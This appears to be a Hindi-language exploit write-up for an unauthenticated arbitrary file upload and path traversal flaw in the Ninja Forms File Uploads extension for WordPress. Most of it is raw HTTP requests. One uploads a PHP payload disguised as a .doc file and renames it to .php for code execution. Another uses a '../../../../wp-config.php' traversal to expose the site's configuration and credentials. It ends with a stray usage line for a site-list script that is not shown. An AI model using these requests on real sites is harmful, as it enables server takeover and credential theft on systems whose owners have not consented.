
(वर्डप्रेस) निंजा फॉर्म्स फ़ाइल अपलोड एक्सटेंशन <= 3.0.22 – बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
Ninja Forms प्लगइन (WordPress के लिए) के संस्करण 3.0.23 से पहले पथ ट्रैवर्सल और असीमित फ़ाइल अपलोड मौजूद है (जब अपलोड ऐड-ऑन सक्रिय होता है)। यह एक हमलावर को फ़ाइल सिस्टम को ट्रैवर्स करने और includes/fields/upload.php (जिसे अपलोड/सबमिट पेज भी कहा जाता है) के name और tmp_name पैरामीटर के माध्यम से फ़ाइलों तक पहुँचने और कोड निष्पादित करने की अनुमति देता है।
प्रारंभिक फ़ाइल अपलोड अनुरोध:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
प्रतिक्रिया:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
जब फॉर्म सबमिट किया जाता है, तो प्रारंभिक अपलोड की गई tmp फ़ाइल को एक नए स्थान पर ले जाया जाता है:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
पैरामीटर “name” को फिर WordPress फ़ंक्शन sanitize_file_name द्वारा “sanitized” किया जाता है, जो मूल रूप से केवल पूर्वनिर्धारित विशेष वर्णों के एक सेट को हटाता है:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
इसके परिणामस्वरूप tmp फ़ाइल अपने अंतिम स्थान पर चली जाती है: /wp-content/uploads/ninja-forms/1/test.php
यदि अपलोड फ़ोल्डर को स्पष्ट रूप से गैर-निष्पादन योग्य नहीं बनाया गया है, जो डिफ़ॉल्ट रूप से ऐसा नहीं है, तो इसके परिणामस्वरूप कोड निष्पादन होता है:

tmp_name में पथ ट्रैवर्सल:
फॉर्म सबमिट करते समय tmp_name पैरामीटर के माध्यम से फ़ाइलसिस्टम को ट्रैवर्स करना भी संभव है जैसा कि नीचे दिखाया गया है। ध्यान रखें कि tmp फ़ाइलों को अपलोड फ़ोल्डर के भीतर उनके नए स्थान पर ले जाया जाता है!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
इसके परिणामस्वरूप wp-config.php फ़ाइल निम्नलिखित स्थान पर चली जाती है: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt